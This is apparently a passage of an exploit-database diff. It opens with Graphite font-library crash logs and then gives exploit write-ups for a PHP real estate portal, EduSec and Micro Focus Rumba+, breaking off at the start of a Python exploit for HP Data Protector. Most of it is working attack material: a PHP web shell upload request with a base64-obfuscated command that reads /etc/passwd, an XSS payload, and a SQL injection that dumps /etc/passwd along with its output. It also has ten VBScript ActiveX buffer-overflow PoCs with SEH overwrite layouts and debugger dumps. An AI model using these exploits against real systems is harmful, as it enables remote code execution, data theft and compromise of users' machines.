#7 0x4f06c9 in main (graphite/gr2fonttest/gr2fonttest+0x4f06c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV graphite/src/./inc/Endian.h:77:73 in unsigned long be::_peek<1>(unsigned char const*)
==1191==ABORTING
--- cut ---
--- cut ---
==1199==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001fb95 at pc 0x000000553c7d bp 0x7ffdebef2a70 sp 0x7ffdebef2a68
READ of size 1 at 0x61b00001fb95 thread T0
#0 0x553c7c in unsigned long be::_peek<1>(unsigned char const*) graphite/src/./inc/Endian.h:77:73
#1 0x553bd3 in unsigned long be::_peek<2>(unsigned char const*) graphite/src/./inc/Endian.h:50:16
#2 0x5516cb in unsigned short be::read<unsigned short>(unsigned char const*&) graphite/src/./inc/Endian.h:60:23
#3 0x59192b in graphite2::NameTable::getName(unsigned short&, unsigned short, gr_encform, unsigned int&) graphite/src/NameTable.cpp:157:24
#4 0x572e5c in gr_fref_label graphite/src/gr_features.cpp:97:12
#5 0x4eaec8 in Parameters::printFeatures(gr_face const*) const (graphite/gr2fonttest/gr2fonttest+0x4eaec8)
#6 0x4ed32b in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ed32b)
#7 0x4f06c9 in main (graphite/gr2fonttest/gr2fonttest+0x4f06c9)
AddressSanitizer can not describe address in more detail (wild memory access suspected).
SUMMARY: AddressSanitizer: heap-buffer-overflow graphite/src/./inc/Endian.h:77:73 in unsigned long be::_peek<1>(unsigned char const*)
Shadow bytes around the buggy address:
0x0c367fffbf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c367fffbf70: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbfa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbfb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbfc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1199==ABORTING
--- cut ---
--- cut ---
==1315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000db3a at pc 0x00000057d59d bp 0x7ffd01d33840 sp 0x7ffd01d33838
READ of size 2 at 0x60400000db3a thread T0
#0 0x57d59c in graphite2::_utf_codec<16>::get(unsigned short const*, signed char&) graphite/src/./inc/UtfCodec.h:97:27
#1 0x57d0a7 in graphite2::_utf_iterator<unsigned short const>::reference::operator unsigned int() const graphite/src/./inc/UtfCodec.h:173:74
#2 0x591d32 in graphite2::NameTable::getName(unsigned short&, unsigned short, gr_encform, unsigned int&) graphite/src/NameTable.cpp:173:18
#3 0x572e5c in gr_fref_label graphite/src/gr_features.cpp:97:12
#4 0x4eaec8 in Parameters::printFeatures(gr_face const*) const (graphite/gr2fonttest/gr2fonttest+0x4eaec8)
#5 0x4ed32b in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ed32b)
#6 0x4f06c9 in main (graphite/gr2fonttest/gr2fonttest+0x4f06c9)
0x60400000db3a is located 0 bytes to the right of 42-byte region [0x60400000db10,0x60400000db3a)
allocated by thread T0 here:
#0 0x4b85b8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x55a24a in unsigned short* graphite2::gralloc<unsigned short>(unsigned long) graphite/src/./inc/Main.h:88:28
#2 0x5916ef in graphite2::NameTable::getName(unsigned short&, unsigned short, gr_encform, unsigned int&) graphite/src/NameTable.cpp:147:37
#3 0x572e5c in gr_fref_label graphite/src/gr_features.cpp:97:12
#4 0x4eaec8 in Parameters::printFeatures(gr_face const*) const (graphite/gr2fonttest/gr2fonttest+0x4eaec8)
#5 0x4ed32b in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ed32b)
#6 0x4f06c9 in main (graphite/gr2fonttest/gr2fonttest+0x4f06c9)
SUMMARY: AddressSanitizer: heap-buffer-overflow graphite/src/./inc/UtfCodec.h:97:27 in graphite2::_utf_codec<16>::get(unsigned short const*, signed char&)
Shadow bytes around the buggy address:
0x0c087fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff9b60: fa fa 00 00 00 00 00[02]fa fa fd fd fd fd fd fd
0x0c087fff9b70: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
0x0c087fff9b80: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
0x0c087fff9b90: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x0c087fff9ba0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
0x0c087fff9bb0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1315==ABORTING
--- cut ---
The bug was reported at https://bugzilla.mozilla.org/show_bug.cgi?id=1254497. Attached are three font files which reproduce the crashes.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39863.zip

86
platforms/php/webapps/39855.txt Executable file
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@ -0,0 +1,86 @@
Real Estate Portal v4.1 Remote Code Execution Vulnerability
Vendor: NetArt Media
Product web page: http://www.netartmedia.net
Affected version: 4.1
Summary: Real Estate Portal is a software written in PHP,
allowing you to launch powerful and professional looking
real estate portals with rich functionalities for the private
sellers, buyers and real estate agents to list properties
for sale or rent, search in the database, show featured
ads and many others. The private sellers can manage their
ads at any time through their personal administration space.
Desc: Real Estate Portal suffers from an arbitrary file upload
vulnerability leading to an arbitrary PHP code execution. The
vulnerability is caused due to the improper verification of
uploaded files in '/upload.php' script thru the 'myfile' POST
parameter. This can be exploited to execute arbitrary PHP code
by uploading a malicious PHP script file with '.php' extension
that will be stored in the '/uploads' directory.
Tested on: nginx/1.10.0
PHP/5.2.17
MySQL/5.1.66
Vulnerability discovered by Bikramaditya Guha aka "PhoenixX"
@zeroscience
Advisory ID: ZSL-2016-5325
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5325.php
06.05.2016
---
1. Arbitrary File Upload:
-------------------------
Parameter: myfile (POST)
POC URL: http://localhost/uploads/Test.php?cmd=cat%20$%28echo%20L2V0Yy9wYXNzd2Q=%20|%20base64%20-d%29
POST /upload.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost/USERS/index.php
Content-Length: 419
Content-Type: multipart/form-data; boundary=---------------------------8914507815764
Cookie: PHPSESSID=7k4au5p4m0skscj4gjbfedfjs5; AuthU=demo%7Efe01ce2a7fbac8fafaed7c982a04e229%7E1462616214
Connection: close
-----------------------------8914507815764
Content-Disposition: form-data; name="myfile"; filename="Test.php"
Content-Type: image/jpeg
<?php
system($_GET['cmd']);
?>
-----------------------------8914507815764
Content-Disposition: form-data; name=""
undefined
-----------------------------8914507815764
Content-Disposition: form-data; name=""
undefined
-----------------------------8914507815764--
2. Persistent Cross Site Scripting:
-----------------------------------
http://localhost/USERS/index.php
Parameters: title, html, headline, size, youtube_id, address, latitude, longitude, user_first_name, user_last_name, agency, user_phone, user_email, website (POST)
Payload: " onmousemove=alert(1)

78
platforms/php/webapps/39856.txt Executable file
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EduSec 4.2.5 Multiple SQL Injection Vulnerabilities
Vendor: Rudra Softech
Product web page: http://www.rudrasoftech.com
Affected version: 4.2.5
Summary: EduSec has a suite of selective modules specifically
tailored to the requirements of education industry. EduSec is
engineered and designed considering wide range of management
functions within the university. With the use of EduSec, staff
can be more accountable as it helps to know the performance of
each department in just few seconds. Almost all departments within
education industry (e. g. admission, administration, time table,
examination, HR, finance etc) can be synchronized and accessed.
EduSec helps to assign the responsibilities to employee staff
and can reduce time wastage and can speed up the administrative
functions. Core functions like admissions, library management,
transport management, students’ attendance in short entire range
of university functions can be well performed by EduSec.
Desc: EduSec suffers from multiple SQL Injection vulnerabilities.
Input passed via multiple 'id' GET parameters are not properly
sanitised before being returned to the user or used in SQL queries.
This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.
Tested on: MySQL/5.5.35-0ubuntu0.12.04.2
Apache/2.4.12 (Ubuntu)
Vulnerability discovered by Bikramaditya Guha aka "PhoenixX"
@zeroscience
Advisory ID: ZSL-2016-5326
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5326.php
10.05.2016
--
Parameter: id (GET)
POC URL:
http://localhost/student/stu-master/view?id=2%20UniOn%20SeleCt%201,load_file%28%27/etc/passwd%27%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--#guardians
http://localhost/employee/emp-master/view?id=20%27
Request:
GET /student/stu-master/view?id=2%20UniOn%20SeleCt%201,load_file(%27/etc/passwd%27),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=r18cpflgekesdn8cam8c8jmf86; _csrf=0f8795c6671d0db724d513142cc81e5d3ca8b83c094b970242fda96899be8148a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22E-TdUjNTZVVugL36t2p-VcoC6MBR4hqq%22%3B%7D; language=32d49278f28c78229de164fe79dc13b6adb3c98af2d133240eb1ffc44771ad3da%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22en%22%3B%7D; isRTL=0fc3d58c320669b52dea022e5a3db09649641bfdd1cbba93929ce2932c57707aa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22isRTL%22%3Bi%3A1%3Bi%3A0%3B%7D
Connection: close
Response:
HTTP/1.1 200 OK
Date: Fri, 13 May 2016 08:35:05 GMT
Server: Apache/2.4.12 (Ubuntu)
<....snip>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
.
..
...
....
.....
......

417
platforms/windows/dos/39857.txt Executable file
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@ -0,0 +1,417 @@

Micro Focus Rumba+ v9.4 Multiple Stack Buffer Overflow Vulnerabilities
Vendor: Micro Focus
Product web page: https://www.microfocus.com
Affected version: 9.4.4058.0 and 9.4.0 SP0 Patch0
Affected products/tools : Rumba Desktop 9.4
Rumba 9.4 Trace
Rumba 9.4 APPC Configuration
Rumba 9.4 AS400 Communications
Rumba 9.4 AS400 File Transfer
Rumba 9.4 Communication Monitor
Rumba 9.4 Engine
Rumba 9.4 Screen Designer
Rumba 9.4 Submit Remote Command ;]
Rumba FTP Client 4.5
Summary: Rumba is a terminal emulation solution with UI (User Interface)
modernization properties. Rumba and Rumba+ allows users to connect to
so-called 'legacy systems' (typically a mainframe) via desktop, web and
mobile.
Desc: Rumba+ software package suffers from multiple stack buffer overflow
vulnerabilities when parsing large amount of bytes to several functions in
several OLE controls. An attacker can gain access to the system of the affected
node and execute arbitrary code.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Microsoft Windows 7 Enterprise SP1 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5327
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5327.php
03.02.2016
--
----------------------------
1. MacroName (WdMacCtl.ocx):
----------------------------
<html>
<object classid='clsid:56359FC0-E847-11CE-BE79-02608C8F68F1' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\SYSTEM\WdMacCtl.OCX"
prototype = "Function PlayMacro ( ByVal MacroName As String ) As Boolean"
memberName = "PlayMacro"
progid = "ObjectXMacro.ObjectXMacro"
argCount = 1
arg1=String(272, "A") + "BBBB" + String(16, "C") + "DDDD" + "EEEE" + String(14700, "C")
' ^ ^ ^ ^ ^ ^
' | | | | | |
'-----------junk---------ds:edx-------padding-------nseh-----seh------------scspace----
' 6224 bytes usable space
target.PlayMacro arg1
</script>
</html>
===
(1d78.52c): Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\ntdll.dll -
eax=00000000 ebx=45454545 ecx=74d72a9c edx=42424242 esi=0032ddc0 edi=00000000
eip=770a15fe esp=0032dd58 ebp=0032ddac iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtRaiseException+0x12:
770a15fe 83c404 add esp,4
0:000> !exchain
0032e7cc: 45454545
Invalid exception stack at 44444444
0:000> d 0032e7cc
0032e7cc 44 44 44 44 45 45 45 45-43 43 43 43 43 43 43 43 DDDDEEEECCCCCCCC
0032e7dc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0032e7ec 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0032e7fc 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0032e80c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0032e81c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0032e82c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0032e83c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0032ddac 77147415 0032ddc0 0032de10 00000000 ntdll!NtRaiseException+0x12
0032e0e0 7711071a 45454545 fffffffe fffffffe ntdll!RtlRemoteCall+0x236
0032e130 770db3f5 45454545 0000004d 0032e82c ntdll!RtlUlonglongByteSwap+0x1327a
0032e1b0 77090133 0032e1c8 0032e218 0032e1c8 ntdll!LdrRemoveLoadAsDataTable+0xcac
0032e7b0 41414141 42424242 43434343 43434343 ntdll!KiUserExceptionDispatcher+0xf
0032e7b4 42424242 43434343 43434343 43434343 0x41414141
0032e7b8 43434343 43434343 43434343 43434343 0x42424242
0032e7bc 43434343 43434343 43434343 44444444 0x43434343
0032e7c0 43434343 43434343 44444444 45454545 0x43434343
0032e7c4 43434343 44444444 45454545 43434343 0x43434343
0032e7c8 44444444 45454545 43434343 43434343 0x43434343
0032e7cc 45454545 43434343 43434343 43434343 0x44444444
0032e7d0 43434343 43434343 43434343 43434343 0x45454545
0032e7d4 43434343 43434343 43434343 43434343 0x43434343
0032e7d8 43434343 43434343 43434343 43434343 0x43434343
0032e7dc 43434343 43434343 43434343 43434343 0x43434343
-----------------------------
2. NetworkName (iconfig.dll):
-----------------------------
<html>
<object classid='clsid:E1E0A940-BE28-11CF-B4A0-0004AC32AD97' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\system\iconfig.dll"
prototype = "Property Let NetworkName As String"
memberName = "NetworkName"
progid = "ObjectXSNAConfig.ObjectXSNAConfig"
argCount = 1
arg1=String(9000000, "B")
target.NetworkName = arg1
</script>
</html>
===
STATUS_STACK_BUFFER_OVERRUN encountered
(2958.3e0): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\syswow64\kernel32.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\SysWOW64\MSVCR120.dll -
eax=00000000 ebx=616c4480 ecx=76280484 edx=003ee021 esi=00000000 edi=003ee794
eip=76280265 esp=003ee268 ebp=003ee2e4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!GetProfileStringW+0x12cc9:
76280265 cc int 3
..
0:000> d esp+400
003ee668 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
003ee678 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
003ee688 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
003ee698 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
003ee6a8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
003ee6b8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
003ee6c8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
003ee6d8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> u
kernel32!GetProfileStringW+0x12cc9:
76280265 cc int 3
76280266 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
7628026d e9c574feff jmp kernel32!UnhandledExceptionFilter+0x40 (76267737)
76280272 33c0 xor eax,eax
76280274 40 inc eax
76280275 c3 ret
76280276 8b65e8 mov esp,dword ptr [ebp-18h]
76280279 68090400c0 push 0C0000409h
0:000> dds
003ee6e8 42424242
003ee6ec 42424242
003ee6f0 42424242
003ee6f4 42424242
003ee6f8 42424242
003ee6fc 42424242
003ee700 42424242
003ee704 42424242
003ee708 42424242
003ee70c 42424242
003ee710 42424242
003ee714 42424242
003ee718 42424242
003ee71c 42424242
003ee720 42424242
003ee724 42424242
003ee728 42424242
003ee72c 42424242
003ee730 42424242
003ee734 42424242
003ee738 42424242
003ee73c 42424242
003ee740 1e4cd74b
003ee744 003ec760
003ee748 7594d140 OLEAUT32!DispCallFunc+0xa6
003ee74c 006a191c
003ee750 02f50024
003ee754 006a1a7c
003ee758 001df530
003ee75c 003ee754
003ee760 003ee7f0
003ee764 7594cfba OLEAUT32!VarCmp+0xd35
------------------------
3. CPName (iconfig.dll):
------------------------
<html>
<object classid='clsid:E1E0A940-BE28-11CF-B4A0-0004AC32AD97' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\system\iconfig.dll"
prototype = "Property Let CPName As String"
memberName = "CPName"
progid = "ObjectXSNAConfig.ObjectXSNAConfig"
argCount = 1
arg1=String(8212, "A")
target.CPName = arg1
</script>
</html>
------------------------------
4. PrinterName (ProfEdit.dll):
------------------------------
<html>
<object classid='clsid:09A1C362-676A-11D2-A0BE-0060B0A25144' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\System\profedit\ProfEdit.Dll"
prototype = "Property Let PrinterName As String"
memberName = "PrinterName"
progid = "ProfileEditor.PrintPasteControl"
argCount = 1
arg1="http://zeroscience.mk/zslrss.xml"
'or string 10000 bytes
target.PrinterName = arg1
</script>
</html>
===
(23f4.4c2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Micro Focus\RUMBA\System\profedit\ProfEdit.Dll -
eax=baadf00d ebx=5fab4b10 ecx=baadf00d edx=003857b8 esi=0030e7b8 edi=0030e66c
eip=5fa63a60 esp=0030e5fc ebp=0030e604 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
ProfEdit+0x13a60:
5fa63a60 c6808401000000 mov byte ptr [eax+184h],0 ds:002b:baadf191=??
----------------------
5. Data (FtxBIFF.dll):
----------------------
<html>
<object classid='clsid:2E67341B-A697-11D4-A084-0060B0C3E4EC' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\AS400\FtxBIFF.dll"
prototype = "Function WriteRecords ( ByVal Row As Long , ByVal Col As Long , ByVal DataType As Long , ByVal Data As String ) As Boolean"
memberName = "WriteRecords"
progid = "FTXBIFFLib.AS400FtxBIFF"
argCount = 4
arg1=2
arg2=3
arg3=r
arg4=String(100000, "A")
target.WriteRecords arg1 ,arg2 ,arg3 ,arg4
</script>
</html>
===
(1164.1dd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Micro Focus\RUMBA\AS400\FtxBIFF.dll -
eax=00000000 ebx=56c0a928 ecx=757bd0c4 edx=fffff000 esi=baadf00d edi=0036eba8
eip=56bf3011 esp=0033ddc8 ebp=0033ddd4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
FtxBIFF+0x3011:
56bf3011 837e2020 cmp dword ptr [esi+20h],20h ds:002b:baadf02d=????????
0:000> d esp
0033ddc8 f0 dd 33 00 0d f0 ad ba-0d f0 ad ba 48 eb 36 00 ..3.........H.6.
0033ddd8 2c 83 bf 56 02 00 00 00-03 00 00 00 00 00 00 00 ,..V............
0033dde8 f0 dd 33 00 40 eb 36 00-41 41 41 41 41 41 41 41 ..3.@.6.AAAAAAAA
0033ddf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0033de08 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0033de18 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0033de28 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0033de38 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
-----------------------------------
6. Serialized (NMSecComParams.dll):
-----------------------------------
<html>
<object classid='clsid:30A01218-C999-4C40-91AE-D8AE4C884A9B' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RSS\NMSecComParams.dll"
prototype = "Property Let Serialized As String"
memberName = "Serialized"
progid = "NMSECCOMPARAMSLib.SSL3"
argCount = 1
arg1=String(1333200, "A")
target.Serialized = arg1
</script>
</html>
===
(1508.1a9c): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Micro Focus\RSS\NMSecComParams.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\OLEAUT32.dll -
eax=00362000 ebx=1003efa0 ecx=001d369c edx=0045e600 esi=0045e8b0 edi=0045e6d4
eip=100366b7 esp=0045e640 ebp=0045e684 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
NMSecComParams!DllUnregisterServer+0x4617:
100366b7 8500 test dword ptr [eax],eax ds:002b:00362000=00000000
---------------------------------
7. UserName (NMSecComParams.dll):
---------------------------------
<html>
<object classid='clsid:3597EAD7-8E7A-4276-AF12-40F8BD515921' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RSS\NMSecComParams.dll"
prototype = "Property Let UserName As String"
memberName = "UserName"
progid = "NMSECCOMPARAMSLib.FirewallProxy"
argCount = 1
arg1=String(1026000, "A")
target.UserName = arg1
</script>
</html>
===
(1620.16bc): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Micro Focus\RSS\NMSecComParams.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\OLEAUT32.dll -
eax=000d2000 ebx=1003edd0 ecx=00000000 edx=003e390a esi=001ceba8 edi=001cea5c
eip=100366b7 esp=001ce9e4 ebp=001cea0c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
NMSecComParams!DllUnregisterServer+0x4617:
100366b7 8500 test dword ptr [eax],eax ds:002b:000d2000=00000000
-------------------------
8. LUName (ProfEdit.dll):
-------------------------
<html>
<object classid='clsid:5A01664E-6CF1-11D2-A0C2-0060B0A25144' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\System\profedit\ProfEdit.Dll"
prototype = "Property Let LUName As String"
memberName = "LUName"
progid = "ProfileEditor.MFSNAControl"
argCount = 1
arg1=String(14356, "A")
target.LUName = arg1
</script>
</html>
===
(f10.1cb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Micro Focus\RUMBA\System\profedit\ProfEdit.Dll -
eax=baadf00d ebx=55944ba4 ecx=baadf00d edx=005c32b0 esi=0022e738 edi=0022e5ec
eip=558f3a60 esp=0022e578 ebp=0022e580 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
ProfEdit+0x13a60:
558f3a60 c6808401000000 mov byte ptr [eax+184h],0 ds:002b:baadf191=??
-------------------------
9. newVal (FTPSFtp.dll):
-------------------------
<html>
<object classid='clsid:ACBBEC6D-7FD4-44E3-B1A4-B442D40F5818' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\Micro Focus Utilities\FTP Client\FTPSFtp.dll"
prototype = "Sub Load ( ByVal newVal As String )"
memberName = "Load"
progid = "FTPSFTPLib.SFtpSession"
argCount = 1
arg1=String(13332, "A")
target.Load arg1
</script>
</html>
===
STATUS_STACK_BUFFER_OVERRUN encountered
(608.f74): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
eax=00000000 ebx=10027e44 ecx=757d047c edx=0039dc45 esi=00000000 edi=0039e594
eip=757d025d esp=0039de8c ebp=0039df08 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!GetProfileStringW+0x12cc1:
757d025d cc int 3
----------------------
10. Host (FTP Client):
----------------------
For the RUMBA FTP Client PoC, copy ~300 bytes array and paste it in the Host field when creating a new session.

154
platforms/windows/remote/39858.py Executable file
View file

@ -0,0 +1,154 @@
#!/usr/bin/python
#
# Exploit Title: Data Protector Encrypted Communications
# Date: 26-05-2016
# Exploit Author: Ian Lovering
# Vendor Homepage: http://www8.hp.com/uk/en/software-solutions/data-protector-backup-recovery-software/
# Version: A.09.00 and earlier
# Tested on: Windows Server 2008
# CVE : CVE-2016-2004
#
# This proof of concept demonstrates that enabling encrypted control communication on
# Data Protector agents does not provide any additional security.
# As is provides no authentication it is not a viable workaround to prevent the
# exploitation of well known Data Protector issues such as cve-2014-2623
#
# This exploit establishes and unauthenticated encrypted communication channel to
# a Data Protector Agent and uses a well known unencrypted Data Protector vulnerability
# to run arbitrary commands on the target.
# Tested on Kali Linux 2 with python 2.7.9
# Tested against Data Protector A.09.00 (Internal Build version 88) with encrypted control
# communication enabled.
# All other Data Protector settings are default.
# Tested against Data Protector agent running on Windows 2008 R2
# Also tested against Data Protector A.07
#
# encrypted-dataprotector.py -e <ipaddress>
#
# By default runs ipconfig on the target.
# Can take a little while to return. Have patience ;)
#
# CVE-2016-2004
import socket
import ssl
import time
import struct
import argparse
parser = argparse.ArgumentParser(prog='test-encrypt.py')
parser.add_argument('-e', '--encrypt', dest='encrypt', action='store_true')
